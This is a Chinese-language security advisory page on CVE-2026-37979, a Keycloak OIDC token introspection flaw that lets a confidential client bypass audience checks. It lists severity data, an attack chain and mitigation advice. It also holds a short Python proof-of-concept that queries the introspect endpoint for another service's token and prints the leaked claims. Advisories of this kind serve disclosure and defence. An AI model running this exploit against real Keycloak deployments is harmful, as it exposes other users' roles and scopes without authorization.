IPBUF安全漏洞报告
English
CVE-2026-37979 CVSS 6.5 中危

CVE-2026-37979 Keycloak访问控制漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-37979
漏洞类型
访问控制绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Keycloak

相关标签

访问控制绕过KeycloakOIDC信息泄露CVE-2026-37979

漏洞概述

Keycloak的OpenID Connect (OIDC)令牌内省端点存在访问控制漏洞,允许机密客户端绕过受众限制。攻击者控制的客户端若拥有有效凭据,可检索本应发给其他资源服务器的敏感令牌声明,从而破坏轻量级访问令牌的机密性。该问题可被领域内任何拥有有效凭据的机密客户端远程利用,无需用户交互。

技术细节

该漏洞源于Keycloak在处理OIDC令牌内省请求时的逻辑缺陷。在标准OAuth 2.0/OIDC流程中,令牌内省端点应验证请求者的身份,确保只有被列为令牌受众的资源服务器才能解析令牌详情。然而,由于访问控制机制失效,攻击者控制的机密客户端可以利用有效的客户端ID和密钥,直接向内省端点发送请求。系统未能正确校验请求客户端与目标令牌受众之间的匹配关系,导致攻击者可以绕过Audience限制。这使得攻击者能够获取原本属于其他微服务或资源服务器的令牌详细信息,泄露用户角色、权限范围等敏感数据,严重违反了最小权限原则。

攻击链分析

STEP 1
侦察
攻击者识别目标Keycloak服务器及其Realm,并确认存在OIDC令牌内省端点。
STEP 2
凭证获取
攻击者获取Realm内一个机密客户端的有效Client ID和Client Secret。
STEP 3
漏洞利用
攻击者使用获取到的凭证,向内省端点发送POST请求,查询本应属于其他资源服务器的目标访问令牌。
STEP 4
信息泄露
Keycloak返回令牌的详细信息(如active状态、scope、client_id等),攻击者成功绕过受众限制获取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Keycloak Target Configuration KEYCLOAK_URL = "https://target-keycloak.com/realms/master/protocol/openid-connect/token/introspect" CLIENT_ID = "attacker-controlled-client" CLIENT_SECRET = "valid-client-secret" TARGET_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # Token intended for a different resource server # Exploit Payload data = { "client_id": CLIENT_ID, "client_secret": CLIENT_SECRET, "token": TARGET_TOKEN } response = requests.post(KEYCLOAK_URL, data=data) if response.status_code == 200: result = response.json() # If active is true, the attacker successfully bypassed audience restrictions if result.get("active"): print("[+] Vulnerability Exploited! Token details leaked:") print(result) else: print("[-] Token is inactive or invalid.") else: print(f"[-] Request failed with status code: {response.status_code}")

影响范围

Keycloak (具体受影响版本请参考Red Hat安全公告RHSA-2026:19596)

防御指南

临时缓解措施
在应用修复补丁之前,建议管理员严格审计Realm内的机密客户端列表,撤销不必要的客户端凭证,并监控内省端点的异常访问日志,以降低数据泄露风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表